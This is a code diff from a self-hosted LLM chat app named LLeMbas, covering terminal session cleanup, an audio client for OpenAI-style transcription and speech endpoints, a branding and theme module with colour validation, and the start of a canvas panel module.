+async def close_chat(chat_id: str, reason: str = CLOSED_REVOKED) -> bool:
+    session = _SESSIONS.pop(chat_id, None)
+    if session is None:
+        return False
+    await session.close(reason)
+    return True
+
+
+def rekey(old: str, new: str) -> Session | None:
+    """Move a live session from one id to another, keeping the shell.
+
+    What adoption is made of: a shell opened on the new-chat screen under a
+    draft id becomes the shell of the chat that screen turned into, with its
+    scrollback and whatever is half-typed at its prompt. Nothing reconnects --
+    the browser navigates after `start_chat` and attaches to the session now
+    living under the real id, which is the "a reload is indistinguishable from a
+    second tab" property working for us rather than against us.
+
+    **Both the key and the field.** `close_for_profile`, `close_for_owner` and
+    the reaper all pop by `session.chat_id` rather than by the key they found it
+    under, so a stale field would leave a closed session in the registry that
+    `get` keeps handing out and `count_for` keeps counting.
+    """
+    session = _SESSIONS.pop(old, None)
+    if session is None:
+        return None
+    session.chat_id = new
+    _SESSIONS[new] = session
+    log.info("terminal adopted %s -> %s", old, new)
+    return session
+
+
+async def close_for_profile(profile_id: str) -> int:
+    """End every shell opened on one connection.
+
+    `session.profile_for` re-checks the profile on every reply, so deleting or
+    disabling one stops the model at once. A terminal resolves the profile
+    when it opens and then holds the connection, so without this "I disabled
+    that connection" would simply not be true of the shell already on screen.
+    """
+    doomed = [s for s in _SESSIONS.values() if s.profile_id == profile_id and not s.closed]
+    for session in doomed:
+        _SESSIONS.pop(session.chat_id, None)
+        await session.close(CLOSED_REVOKED)
+    return len(doomed)
+
+
+async def close_for_owner(owner_id: str) -> int:
+    doomed = [s for s in _SESSIONS.values() if s.owner_id == owner_id and not s.closed]
+    for session in doomed:
+        _SESSIONS.pop(session.chat_id, None)
+        await session.close(CLOSED_REVOKED)
+    return len(doomed)
+
+
+async def shutdown() -> None:
+    """End every shell. Called from the lifespan, beside stop_generations."""
+    global _REAPER
+    reaper, _REAPER = _REAPER, None
+    if reaper is not None:
+        reaper.cancel()
+        with contextlib.suppress(asyncio.CancelledError, Exception):
+            await reaper
+    for session in list(_SESSIONS.values()):
+        await session.close(CLOSED_SHUTDOWN)
+    _SESSIONS.clear()
+
+
+def _reap() -> None:
+    """Drop sessions that have been closed long enough to stop explaining."""
+    now = time.monotonic()
+    for chat_id, session in list(_SESSIONS.items()):
+        if session.closed and now - session.closed_at > KEEP_CLOSED:
+            _SESSIONS.pop(chat_id, None)
+
+
+def _ensure_reaper() -> None:
+    global _REAPER
+    if _REAPER is None or _REAPER.done():
+        _REAPER = asyncio.create_task(_reaper_loop())
+
+
+async def _reaper_loop() -> None:
+    """Close idle shells, then forget closed ones.
+
+    A task rather than a sweep inside `open_session`, which is the shape
+    `generation` uses. That works there because a generation ends on its own and
+    something calls in again; a shell at a prompt does neither, so a lazy sweep
+    would run only when somebody opened the *next* terminal.
+    """
+    while True:
+        try:
+            await asyncio.sleep(REAP_INTERVAL)
+            for session in list(_SESSIONS.values()):
+                if not session.closed and session.idle_for > session.idle_timeout:
+                    _SESSIONS.pop(session.chat_id, None)
+                    await session.close(CLOSED_IDLE)
+            _reap()
+        except asyncio.CancelledError:
+            raise
+        except Exception:  # noqa: BLE001 - the reaper must outlive one bad sweep
+            log.exception("the terminal reaper raised")
+
+
+def _drain(queue: asyncio.Queue) -> None:
+    while True:
+        try:
+            queue.get_nowait()
+        except asyncio.QueueEmpty:
+            return
+
+
+def _clamp(value: int, low: int, high: int) -> int:
+    try:
+        number = int(value)
+    except (TypeError, ValueError):
+        return low
+    return min(max(number, low), high)
+
+
+__all__ = [
+    "CLOSED_EXITED",
+    "CLOSED_IDLE",
+    "CLOSED_REVOKED",
+    "CLOSED_SHUTDOWN",
+    "Session",
+    "Viewer",
+    "close_chat",
+    "close_for_owner",
+    "close_for_profile",
+    "count",
+    "count_for",
+    "get",
+    "open_session",
+    "peek",
+    "shutdown",
+]

src/lembas/services/audio.py

@@ -0,0 +1,300 @@
+"""Speech to text and text to speech, against OpenAI-shaped audio endpoints.
+
+The same reasoning as the chat client: plain httpx rather than an SDK, because
+the target is not api.openai.com so much as whisper.cpp's server, Speaches,
+faster-whisper-server, Kokoro and anything else exposing ``/v1/audio/*``. They
+agree on the request and disagree politely about the response, so this is
+tolerant about what comes back.
+
+Two endpoints, not one. A local install almost always runs transcription and
+speech as separate processes -- they are different models on different
+schedules -- and forcing them onto one base URL would mean the common case
+could not be configured at all.
+"""
+
+from __future__ import annotations
+
+import logging
+import time
+from collections.abc import AsyncIterator
+from typing import Any
+
+import httpx
+
+from lembas.config import settings as env_settings
+from lembas.services.crypto import decrypt
+from lembas.services.llm.openai_client import (
+    Endpoint,
+    LLMError,
+    describe_http_error,
+    wrap_transport_error,
+)
+
+log = logging.getLogger(__name__)
+
+# api.openai.com has no endpoint that lists voices, so when one is not offered
+# these are what a caller can reasonably assume. Anything else -- Kokoro's sixty
+# or so -- is discovered.
+OPENAI_VOICES = ("alloy", "echo", "fable", "onyx", "nova", "shimmer")
+
+# Formats every player in a browser can decode. opus is deliberately absent:
+# some endpoints emit it in an ogg container that Safari will not play.
+FORMATS = ("mp3", "wav", "flac", "aac")
+
+# Discovery is cached because the voice list is read every time anyone opens
+# their settings, and waking a model server to answer that is rude.
+_VOICE_TTL = 300.0
+_voice_cache: dict[str, tuple[float, list[str]]] = {}
+
+
+def endpoint_for(config: dict[str, Any], side: str) -> Endpoint:
+    """Build an Endpoint from the stored audio settings.
+
+    `side` is "stt" or "tts". Endpoint is a frozen snapshot with the key
+    already decrypted, so nothing downstream has to know the secret was ever
+    encrypted -- or hold a database session while it streams.
+    """
+    base_url = (config.get(f"{side}_base_url") or "").strip()
+    if not base_url:
+        raise LLMError("No audio endpoint has been configured.")
+    return Endpoint(
+        base_url=base_url.rstrip("/"),
+        api_key=decrypt(config.get(f"{side}_api_key_encrypted") or ""),
+        extra_headers={},
+        name=base_url,
+    )
+
+
+async def transcribe(
+    endpoint: Endpoint,
+    *,
+    data: bytes,
+    filename: str,
+    content_type: str,
+    model: str = "whisper-1",
+    language: str = "",
+) -> str:
+    """Turn recorded audio into text.
+
+    `model` is sent even to servers that ignore it: whisper.cpp serves one model
+    and does not care, while a router in front of several will not dispatch
+    without it. `language` is omitted when empty, which is what asks the server
+    to detect it -- sending an empty string instead makes some of them fail.
+    """
+    form: dict[str, Any] = {"model": model, "response_format": "json"}
+    if language:
+        form["language"] = language
+
+    try:
+        async with httpx.AsyncClient(timeout=env_settings.request_timeout) as client:
+            response = await client.post(
+                endpoint.url("audio/transcriptions"),
+                headers=_headers_without_content_type(endpoint),
+                data=form,
+                files={"file": (filename, data, content_type or "application/octet-stream")},
+            )
+            response.raise_for_status()
+    except httpx.HTTPStatusError as exc:
+        raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
+    except httpx.RequestError as exc:
+        raise wrap_transport_error(exc, endpoint) from exc
+
+    try:
+        payload = response.json()
+    except ValueError:
+        # response_format=text is what some servers give regardless of the ask.
+        return response.text.strip()
+
+    if isinstance(payload, dict):
+        text = payload.get("text")
+        if isinstance(text, str):
+            return text.strip()
+        error = payload.get("error")
+        if error:
+            raise LLMError(str(error))
+    raise LLMError("The transcription endpoint returned no text.")
+
+
+async def speak(
+    endpoint: Endpoint,
+    text: str,
+    *,
+    model: str = "tts-1",
+    voice: str = "",
+    fmt: str = "mp3",
+    speed: float = 1.0,
+) -> tuple[str, AsyncIterator[bytes]]:
+    """Synthesise speech, returning its content type and a byte stream.
+
+    Streamed rather than buffered: a long reply is a lot of audio, and playback
+    can start on the first chunk instead of after the last.
+    """
+    if not text.strip():
+        raise LLMError("There is nothing to read out.")
+
+    body: dict[str, Any] = {
+        "model": model,
+        "input": text,
+        "response_format": fmt if fmt in FORMATS else "mp3",
+    }
+    if voice:
+        body["voice"] = voice
+    if speed and speed != 1.0:
+        body["speed"] = speed
+
+    client = httpx.AsyncClient(timeout=env_settings.request_timeout)
+    try:
+        request = client.build_request(
+            "POST", endpoint.url("audio/speech"), headers=endpoint.headers(), json=body
+        )
+        response = await client.send(request, stream=True)
+        if response.status_code >= 400:
+            # Nothing has been read yet on a streaming response, and the error
+            # detail is in the body.
+            await response.aread()
+            response.raise_for_status()
+    except httpx.HTTPStatusError as exc:
+        await client.aclose()
+        raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
+    except httpx.RequestError as exc:
+        await client.aclose()
+        raise wrap_transport_error(exc, endpoint) from exc
+    except Exception:
+        await client.aclose()
+        raise
+
+    media_type = response.headers.get("content-type", f"audio/{body['response_format']}")
+
+    async def stream() -> AsyncIterator[bytes]:
+        # The client is closed here rather than by the caller: it has to outlive
+        # this function, and a response abandoned without aclose leaks a socket.
+        try:
+            async for chunk in response.aiter_bytes():
+                yield chunk
+        finally:
+            await response.aclose()
+            await client.aclose()
+
+    return media_type, stream()
+
+
+async def voices(endpoint: Endpoint, *, refresh: bool = False) -> list[str]:
+    """Voices the speech endpoint offers, newest answer cached briefly.
+
+    Falls back to the OpenAI six on a 404, which is not an error: the official
+    API simply has no such endpoint, and its voices are a fixed list everyone
+    already knows.
+    """
+    key = endpoint.base_url
+    cached = _voice_cache.get(key)
+    if cached and not refresh and time.monotonic() - cached[0] < _VOICE_TTL:
+        return cached[1]
+
+    try:
+        async with httpx.AsyncClient(timeout=15.0) as client:
+            response = await client.get(
+                endpoint.url("audio/voices"), headers=endpoint.headers()
+            )
+            if response.status_code == 404:
+                found = list(OPENAI_VOICES)
+                _voice_cache[key] = (time.monotonic(), found)
+                return found
+            response.raise_for_status()
+            payload = response.json()
+    except httpx.HTTPStatusError as exc:
+        raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
+    except httpx.RequestError as exc:
+        raise wrap_transport_error(exc, endpoint) from exc
+    except ValueError as exc:
+        raise LLMError("The endpoint returned a response that was not JSON.") from exc
+
+    found = _parse_voices(payload)
+    if not found:
+        found = list(OPENAI_VOICES)
+    _voice_cache[key] = (time.monotonic(), found)
+    return found
+
+
+def _parse_voices(payload: Any) -> list[str]:
+    """Pull voice names out of whatever shape the server chose.
+
+    Kokoro answers ``{"voices": [{"id": "af_heart", ...}]}``; older builds and
+    some others answer ``{"voices": ["af_heart", ...]}``; a couple return the
+    bare list. All three are the same information.
+    """
+    entries = payload
+    if isinstance(payload, dict):
+        for field in ("voices", "data"):
+            if isinstance(payload.get(field), list):
+                entries = payload[field]
+                break
+    if not isinstance(entries, list):
+        return []
+
+    names: list[str] = []
+    for entry in entries:
+        if isinstance(entry, str) and entry:
+            names.append(entry)
+        elif isinstance(entry, dict):
+            name = entry.get("id") or entry.get("name") or entry.get("voice")
+            if isinstance(name, str) and name:
+                names.append(name)
+    # Sorted and de-duplicated: sixty voices in the server's arbitrary order is
+    # not a list anyone can pick from.
+    return sorted(dict.fromkeys(names))
+
+
+def _headers_without_content_type(endpoint: Endpoint) -> dict[str, str]:
+    """Endpoint headers minus Content-Type.
+
+    httpx sets the multipart Content-Type itself, including the boundary.
+    Leaving the JSON one in place overrides it and the server sees a body it
+    cannot parse.
+    """
+    return {k: v for k, v in endpoint.headers().items() if k.lower() != "content-type"}
+
+
+def forget_voices() -> None:
+    """Drop the discovery cache. Used when an administrator changes the URL."""
+    _voice_cache.clear()
+
+
+def template_flags(db, user) -> dict[str, Any]:
+    """What the chat templates need to know about audio.
+
+    Lives here rather than in one page module because a message bubble is
+    rendered from four places -- the chat page, the two message endpoints, and
+    the SSE stream, which has no request at all -- and each of them needs the
+    same three booleans. Getting one of them wrong is how a speaker button ends
+    up on a page that cannot use it.
+    """
+    from lembas.security import permissions
+    from lembas.services import settings_store
+
+    config = settings_store.audio(db)
+    allowed = permissions.resolve(db, user)
+    listen = bool(config.get("tts_enabled")) and allowed.get("audio.listen", False)
+    preferences = (user.settings_json or {}).get("audio") or {} if user else {}
+
+    return {
+        "audio": config,
+        "user_audio": preferences,
+        "can_dictate": bool(config.get("stt_enabled"))
+        and allowed.get("audio.transcribe", False),
+        "can_listen": listen,
+        # Only meaningful when can_listen; the template guards on both.
+        "audio_autoplay": listen
+        and bool(preferences.get("autoplay", config.get("tts_autoplay"))),
+    }
+
+
+__all__ = [
+    "FORMATS",
+    "OPENAI_VOICES",
+    "LLMError",
+    "endpoint_for",
+    "forget_voices",
+    "speak",
+    "transcribe",
+    "voices",
+]

src/lembas/services/branding.py

@@ -0,0 +1,506 @@
+"""What this installation is called, and what it looks like.
+
+An instance can be somebody else's. That means four separate things, and they
+are separate because they fail differently:
+
+- an **identity** — a name, a tagline, a logo, a favicon, the icons a launcher
+  shows;
+- **flavour text** — the Middle-earth lines, which live in the artwork, the
+  empty states, the loading lines and the error pages and nowhere else (see the
+  flavour rule in CLAUDE.md), and which somebody rebranding needs to be able to
+  replace without editing templates;
+- **themes**, which are token sets rather than stylesheets, because the
+  invariant that no component hard-codes a colour is what makes a third one
+  compose at all;
+- **arbitrary CSS**, for the things the first three do not reach.
+
+## Defaults in code, overrides in the database
+
+The prompt-fragment rule, applied again and for the same reason: text equal to
+its default is never stored, so a later release improving a default still
+reaches an instance whose administrator once pressed Save. `stored_only` is what
+enforces it, and every save goes through it.
+
+## Why a snapshot, and why a Jinja global
+
+`web/templating.py:render()` has no database session, and the login page, the
+error pages, the offline page and the SSE path do not go through it at all. A
+context value would therefore have to be threaded through every one of those,
+and the ones that bypass `render()` could not be reached at all.
+
+So this is a **process-level cache** behind a lazy proxy registered as a Jinja
+global. One query per process, and after every save; every render path gets it
+including the ones that never see a `Request`. `forget()` is called by the admin
+page and by nothing else.
+
+The cost of being a cache is stated rather than discovered: with several
+workers, a save in one is not seen by the others until each next reads. That is
+already true of this application for other reasons -- see the "one worker" note
+in PLAN.md -- and this does not make it worse.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import logging
+import re
+from dataclasses import dataclass, field
+from typing import Any
+
+from lembas.services import settings_store
+
+log = logging.getLogger(__name__)
+
+BRANDING = settings_store.BRANDING
+
+DEFAULT_NAME = "LLeMbas"
+
+# --- Flavour ------------------------------------------------------------------
+# Every Middle-earth string in the interface, with its current wording as the
+# default. Keyed rather than positional so a template names what it wants, and
+# a key nobody has overridden costs nothing to store.
+#
+# The label is what the admin page calls the field; the hint says where it is
+# seen, because a string with no context is one nobody can safely rewrite.
+FLAVOUR: dict[str, tuple[str, str, str]] = {
+    "login_tagline": (
+        "Under the sign-in mark",
+        "The one line on the sign-in page, beneath the name.",
+        "Waybread for the long road of thought.",
+    ),
+    "chat_empty": (
+        "Empty chat",
+        "Above the composer on a chat with nothing in it yet.",
+        "Speak, friend, and enter.",
+    ),
+    "offline_title": (
+        "Offline heading",
+        "The page the service worker shows when the server cannot be reached.",
+        "No road from here",
+    ),
+    "offline_line": (
+        "Offline line",
+        "Beneath that heading. The sentence below it is functional and is not "
+        "editable here.",
+        "The Road goes ever on and on — but not without a connection.",
+    ),
+    "error_403": (
+        "403 — not yours",
+        "Shown on a page somebody is not allowed to see.",
+        "Speak, friend, and enter. This door is not yours to open.",
+    ),
+    "error_404": (
+        "404 — not found",
+        "Shown on a page that does not exist.",
+        "Not all those who wander are lost. This page, however, is.",
+    ),
+    "error_500": (
+        "500 — something broke",
+        "Shown when something went wrong on the server.",
+        "The Road goes ever on, but this stretch of it has washed out.",
+    ),
+    "theme_moria": (
+        "Dark theme name",
+        "What the built-in dark theme is called, in the settings screen and in "
+        "the /theme command.",
+        "Moria",
+    ),
+    "theme_shire": (
+        "Light theme name",
+        "What the built-in light theme is called.",
+        "Shire",
+    ),
+}
+
+# --- Themes -------------------------------------------------------------------
+# The two built-ins. `css` is empty for both: their tokens are declared in
+# tokens.css, which is the one place colours live, and duplicating them here so
+# that a custom theme could "inherit" would be exactly the second copy that
+# rule exists to prevent. A custom theme inherits by naming a base instead --
+# see `theme_css` below.
+SCHEME_DARK = "dark"
+SCHEME_LIGHT = "light"
+
+BUILT_IN = (
+    ("moria", SCHEME_DARK, "#101317"),
+    ("shire", SCHEME_LIGHT, "#F6F1E4"),
+)
+
+# What a custom theme may set. A curated handful rather than every token a
+# theme block declares: sixty colour pickers is not a feature, and everything
+# left out inherits from the base, which is what makes a theme that changes
+# four things four things long.
+#
+# `--accent-soft`, `--leaf-soft` and `--danger-soft` are deliberately absent and
+# are derived instead: they are the same colour at 14% and an administrator who
+# changed the accent without them would get focus rings in the old hue, which
+# looks like the setting half-working.
+THEME_TOKENS: tuple[tuple[str, str], ...] = (
+    ("bg", "Page background"),
+    ("bg-sunken", "Behind the page — the sidebar and panel gutters"),
+    ("surface", "Cards, menus and the composer"),
+    ("surface-raised", "Anything sitting on a surface"),
+    ("surface-hover", "A surface under the pointer"),
+    ("border", "Ordinary borders"),
+    ("border-strong", "Borders that have to be seen"),
+    ("ink", "Body text"),
+    ("ink-muted", "Secondary text"),
+    ("ink-faint", "Hints and timestamps"),
+    ("accent", "Links, focus and interactive accents"),
+    ("accent-hover", "The accent under the pointer"),
+    ("accent-ink", "Text on top of the accent"),
+    ("leaf", "The brand accent and the assistant's mark"),
+    ("danger", "Errors and destructive actions"),
+    ("success", "Confirmations and unread dots"),
+    ("warning", "Warnings"),
+    ("bubble-user", "Behind your own messages"),
+    ("code-bg", "Behind code"),
+)
+
+THEME_TOKEN_NAMES = tuple(name for name, _ in THEME_TOKENS)
+
+# A colour, and nothing else. Values reach a stylesheet, so a `}` in one would
+# end the rule and silently break every rule after it -- and `url(…)` in a
+# colour slot is a request to a third party from every page. Anything that does
+# not match is dropped rather than corrected: a colour nobody can read is a
+# setting that did not take, and that is visible, while a mangled one is not.
+_COLOUR = re.compile(
+    r"^(#[0-9a-fA-F]{3,8}"
+    r"|rgba?\([0-9,.\s%/]+\)"
+    r"|hsla?\([0-9,.\s%/deg]+\)"
+    r"|[a-z]{3,20})$"
+)
+
+# An id that can be an attribute value and a CSS selector without quoting.
+_THEME_ID = re.compile(r"^[a-z][a-z0-9-]{0,23}$")
+
+
+@dataclass(frozen=True)
+class Theme:
+    """One theme somebody can choose."""
+
+    id: str
+    label: str
+    scheme: str
+    # Which built-in it starts from. A custom theme sets a handful of tokens and
+    # inherits the rest, and that inheritance is a CSS fact: tokens.css matches
+    # `[data-base="shire"]` as well as `[data-theme="shire"]`, so a custom light
+    # theme carries `data-base="shire"` and gets the whole parchment palette
+    # underneath its own four colours. Without it a light custom theme would be
+    # four light colours on Moria's near-black surfaces.
+    base: str = "moria"
+    tokens: dict[str, str] = field(default_factory=dict)
+    colour: str = ""
+    built_in: bool = False
+
+
+@dataclass(frozen=True)
+class Branding:
+    """Everything a page needs to know about whose instance this is."""
+
+    name: str = DEFAULT_NAME
+    tagline: str = ""
+    logo_path: str = ""
+    favicon_path: str = ""
+    icon_paths: dict[str, str] = field(default_factory=dict)
+    custom_css: str = ""
+    text: dict[str, str] = field(default_factory=dict)
+    themes: tuple[Theme, ...] = ()
+
+    @property
+    def theme_ids(self) -> tuple[str, ...]:
+        return tuple(theme.id for theme in self.themes)
+
+    @property
+    def theme_list(self) -> str:
+        """`id:base` pairs, space separated, for the `data-themes` attribute.
+
+        One attribute rather than a JSON island, because two things in the
+        browser need it — `/theme` validating a name, and `applyTheme` setting
+        `data-base` alongside `data-theme` — and both want a list they can split
+        rather than a document they have to parse.
+        """
+        return " ".join(f"{theme.id}:{theme.base}" for theme in self.themes)
+
+    def theme(self, theme_id: str) -> Theme:
+        for theme in self.themes:
+            if theme.id == theme_id:
+                return theme
+        return self.themes[0]
+
+    @property
+    def revision(self) -> str:
+        """A short hash of everything `/branding.css` is built from.
+
+        It goes in that link's query string, so the URL changes exactly when the
+        stylesheet does. Without it the browser's cache is the thing deciding
+        when a rebrand takes effect, which is the failure this codebase keeps
+        cataloguing: a save that looks like it worked and did nothing.
+        """
+        material = repr((self.custom_css, [(t.id, t.base, sorted(t.tokens.items())) for t in
+                                           self.themes]))
+        return hashlib.sha256(material.encode("utf-8")).hexdigest()[:12]
+
+
+# --- Reading ------------------------------------------------------------------
+def defaults() -> dict[str, Any]:
+    return {
+        "instance_name": "",
+        "tagline": "",
+        "logo_path": "",
+        "favicon_path": "",
+        # Derived from the logo at save time, so a launcher gets real PNGs at
+        # the sizes it asks for rather than one image the browser is told to
+        # scale. Empty means the shipped artwork is used.
+        "icon_paths": {},
+        "custom_css": "",
+        "themes": [],
+        **{f"text_{key}": "" for key in FLAVOUR},
+    }
+
+
+def _theme_from(raw: dict[str, Any]) -> Theme | None:
+    """One stored custom theme, or None if it is not usable.
+
+    Every field is validated on read rather than trusted from the row: a theme
+    stored by an earlier version, or written straight into the settings table,
+    still has to produce a stylesheet that parses.
+    """
+    theme_id = str(raw.get("id") or "").strip().lower()
+    if not _THEME_ID.match(theme_id) or theme_id in {name for name, _, _ in BUILT_IN}:
+        return None
+    base = str(raw.get("base") or "moria")
+    if base not in {name for name, _, _ in BUILT_IN}:
+        base = "moria"
+    tokens = {
+        name: value
+        for name, value in (raw.get("tokens") or {}).items()
+        if name in THEME_TOKEN_NAMES and _COLOUR.match(str(value).strip())
+    }
+    scheme = next(s for name, s, _ in BUILT_IN if name == base)
+    return Theme(
+        id=theme_id,
+        label=str(raw.get("label") or theme_id).strip()[:60] or theme_id,
+        scheme=scheme,
+        base=base,
+        tokens=tokens,
+        colour=tokens.get("bg", ""),
+    )
+
+
+def build(values: dict[str, Any]) -> Branding:
+    """A snapshot from a settings group. Pure, so it can be tested without a
+    database and used by the preview on the admin page."""
+    text = {
+        key: str(values.get(f"text_{key}") or "").strip() or default
+        for key, (_, _, default) in FLAVOUR.items()
+    }
+    themes = [
+        Theme(
+            id=theme_id,
+            label=text[f"theme_{theme_id}"],
+            scheme=scheme,
+            base=theme_id,
+            colour=colour,
+            built_in=True,
+        )
+        for theme_id, scheme, colour in BUILT_IN
+    ]
+    seen = {theme.id for theme in themes}
+    for raw in values.get("themes") or []:
+        if not isinstance(raw, dict):
+            continue
+        theme = _theme_from(raw)
+        if theme is not None and theme.id not in seen:
+            seen.add(theme.id)
+            themes.append(theme)
+    return Branding(
+        name=str(values.get("instance_name") or "").strip() or DEFAULT_NAME,
+        tagline=str(values.get("tagline") or "").strip(),
+        logo_path=str(values.get("logo_path") or ""),
+        favicon_path=str(values.get("favicon_path") or ""),
+        icon_paths=dict(values.get("icon_paths") or {}),
+        custom_css=str(values.get("custom_css") or ""),
+        text=text,
+        themes=tuple(themes),
+    )
+
+
+_CACHE: Branding | None = None
+
+
+def snapshot() -> Branding:
+    """The current branding, from a process-level cache.
+
+    Never raises. An error page that cannot render because branding could not be
+    read is a failure that hides the failure it was about to report, so a
+    database that is not there yet answers with the defaults.
+    """
+    global _CACHE
+    if _CACHE is not None:
+        return _CACHE
+    try:
+        from lembas.db.session import session_scope
+
+        with session_scope() as db:
+            _CACHE = _read(db)
+    except Exception:  # noqa: BLE001 - defaults are a usable answer, an exception is not
+        log.debug("could not read branding; using defaults", exc_info=True)
+        return build(defaults())
+    return _CACHE
+
+
+def _read(db) -> Branding:
+    """The two groups this is assembled from.
+
+    `instance_name` lived in the general group before there was a branding one,
+    and an upgrade must not quietly rename somebody's instance back to LLeMbas.
+    So the stored general value is a **seed**, and the test for it is whether the
+    branding row has said anything about the name at all -- `key in row`, not
+    `row[key] is truthy`. An empty stored name is somebody clearing the box,
+    which has to mean the default; a *missing* one is an instance that has never
+    seen this page. Reading the two the same way would resurrect the old name
+    underneath a cleared one, which is the failure a cleared reasoning effort
+    already documents.
+
+    That is why this reads the raw row rather than `get_group`, which fills in
+    defaults and so cannot tell absent from empty.
+    """
+    from lembas.db.models import Setting
+
+    values = settings_store.get_group(db, BRANDING)
+    row = db.get(Setting, BRANDING)
+    said = isinstance(row, Setting) and isinstance(row.value, dict) and "instance_name" in row.value
+    if not said:
+        legacy = settings_store.get_group(db, settings_store.GENERAL).get("instance_name")
+        if legacy:
+            values = {**values, "instance_name": legacy}
+    return build(values)
+
+
+def forget() -> None:
+    """Drop the cache. Called by the admin page's save, and by tests."""
+    global _CACHE
+    _CACHE = None
+
+
+def for_db(db) -> Branding:
+    """The snapshot, seeded from a session the caller already has open.
+
+    Same value as `snapshot()`; this only spares the extra session on the first
+    render after a restart, where one is already in hand.
+    """
+    global _CACHE
+    if _CACHE is None:
+        _CACHE = _read(db)
+    return _CACHE
+
+
+# --- Writing ------------------------------------------------------------------
+def stored_only(values: dict[str, Any]) -> dict[str, Any]:
+    """Blank anything equal to its shipped wording, so it is not an override.
+
+    The prompt-fragment rule, and the reason it is a **blank rather than a
+    dropped key**: `settings_store.update` merges, so omitting a key leaves
+    whatever was stored last time. Dropping one would make "I typed the default
+    back in" and "I changed nothing" store different things, and make clearing a
+    box do nothing at all.
+
+    Empty is the not-overridden marker because `build` reads `stored or
+    default`. That is deliberately *not* the fragment convention, where an empty
+    override means the fragment is off: a fragment being off is a state somebody
+    wants, and a heading with no words is not.
+    """
+    return {
+        key: ("" if _is_shipped(key, value) else value) for key, value in values.items()
+    }
+
+
+def _is_shipped(key: str, value: Any) -> bool:
+    if key.startswith("text_"):
+        entry = FLAVOUR.get(key[len("text_") :])
+        return entry is not None and value == entry[2]
+    return value == defaults().get(key)
+
+
+# --- The stylesheet -----------------------------------------------------------
+def _soft(colour: str, alpha: str = "0.14") -> str:
+    """A colour at low opacity, for the `*-soft` tokens.
+
+    Derived rather than asked for: they are the same colour at 14%, and an
+    administrator who set an accent without them would get focus rings and
+    selected states in the old hue -- which reads as the setting half-working
+    rather than as a field they missed.
+
+    Only hex is understood. Anything else answers "" and the base theme's own
+    soft value stands, which is the right failure: a wrong soft colour is worse
+    than an unchanged one.
+    """
+    value = colour.strip()
+    if not value.startswith("#"):
+        return ""
+    digits = value[1:]
+    if len(digits) == 3:
+        digits = "".join(c * 2 for c in digits)
+    if len(digits) not in (6, 8):
+        return ""
+    try:
+        r, g, b = (int(digits[i : i + 2], 16) for i in (0, 2, 4))
+    except ValueError:
+        return ""
+    return f"rgba({r}, {g}, {b}, {alpha})"
+
+
+def theme_css(theme: Theme) -> str:
+    """One custom theme as a rule.
+
+    Two selectors' worth of work in one: the block sets what was chosen, and the
+    `data-base` attribute on <html> is what brings the rest of the base theme's
+    palette with it. Written here and served from `/branding.css`, which loads
+    after `tokens.css`, so these win on order at equal specificity.
+    """
+    if not theme.tokens:
+        return ""
+    lines = [f"  --{name}: {value};" for name, value in theme.tokens.items()]
+    for name, alpha in (("accent", "0.14"), ("leaf", "0.14"), ("danger", "0.14")):
+        soft = _soft(theme.tokens.get(name, ""), alpha)
+        if soft:
+            lines.append(f"  --{name}-soft: {soft};")
+    return f':root[data-theme="{theme.id}"] {{\n' + "\n".join(lines) + "\n}\n"
+
+
+def stylesheet(brand: Branding) -> str:
+    """Everything `/branding.css` serves.
+
+    A route rather than an inline `<style>`, and that is a security property as
+    much as a caching one: an external stylesheet has no HTML context to escape
+    from, so an administrator's CSS cannot become markup however it is written.
+    Inline, the same text would be one `</style>` away from being a script.
+    """
+    parts = [
+        "/* Generated by LLeMbas from the customization settings. */",
+        *(theme_css(theme) for theme in brand.themes if not theme.built_in),
+    ]
+    if brand.custom_css.strip():
+        parts += ["/* Custom CSS. */", brand.custom_css.strip(), ""]
+    return "\n".join(part for part in parts if part)
+
+
+__all__ = [
+    "BRANDING",
+    "BUILT_IN",
+    "DEFAULT_NAME",
+    "FLAVOUR",
+    "THEME_TOKENS",
+    "THEME_TOKEN_NAMES",
+    "Branding",
+    "Theme",
+    "build",
+    "defaults",
+    "for_db",
+    "forget",
+    "snapshot",
+    "stored_only",
+    "stylesheet",
+    "theme_css",
+]

src/lembas/services/canvas.py

@@ -0,0 +1,480 @@
+"""What is open in the canvas panel, and where its contents come from.
+
+Six sources behind one shape. A tab key is `"<source>:<ref>"` and every source
+answers the same two questions -- load this, and save that -- through one table.
+A table rather than six branches for the reason `tool_labels.py` and
+`sharing.RESOURCE_TYPES` are tables: six independently written permission checks
+is how one of them ends up written slightly differently, and the way *that*
+failure shows up is somebody editing somebody else's note.
+
+The panel is a person's own hands. A save on an `agent:` tab therefore does not
+go through `agent/policy.py`, exactly as the terminal panel and the directory
+browser do not: whoever owns the credential could write the file with `scp`.
+This is the first of those exceptions that *writes*, which is worth saying out
+loud -- Manual mode's "everything is shown to you before it happens" is a promise
+about the model, not about the interface.
+"""
+
+from __future__ import annotations
+
+import posixpath
+from dataclasses import dataclass
+from datetime import UTC
+
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.db.models import KIND_AGENT, Attachment, Chat, SshProfile, User
+from lembas.security import permissions
+from lembas.services import scratch as scratch_service
+from lembas.services import settings_store, sharing
+from lembas.services.agent import index as index_service
+from lembas.services.agent import instructions as instructions_service
+from lembas.services.agent import ssh as ssh_service
+from lembas.services.agent.base import Conflict, ExecError, revision_of
+from lembas.services.library import documents as documents_service
+from lembas.services.library import notes as notes_service
+from lembas.services.library import skills as skills_service
+
+# How many tabs a chat keeps. A model in a long reply reads forty files, and an
+# unbounded strip is a strip nobody can read -- and it would live on the chat
+# row forever. Past this the oldest tab that is not in front is dropped.
+MAX_TABS = 12
+
+SOURCE_AGENT = "agent"
+SOURCE_NOTE = "note"
+SOURCE_SKILL = "skill"
+SOURCE_DOC = "doc"
+SOURCE_FILE = "file"
+SOURCE_SCRATCH = "scratch"
+
+
+
+class Refused(Exception):
+    """This person may not have this, or it is not there any more.
+
+    One exception for every source, because the panel answers all of them the
+    same way: a fragment saying so, in the tab, rather than an error page
+    swapped into the middle of a chat.
+    """
+
+
+@dataclass(frozen=True)
+class Doc:
+    """One open file, whatever it actually is underneath."""
+
+    key: str
+    title: str
+    subtitle: str = ""
+    text: str = ""
+    # An opaque token saying which version this was read at, round-tripped
+    # through a hidden field so a save can refuse a file that moved underneath.
+    revision: str = ""
+    writable: bool = False
+    # A filename or close enough, for choosing a lexer.
+    language: str = ""
+    markdown: bool = False
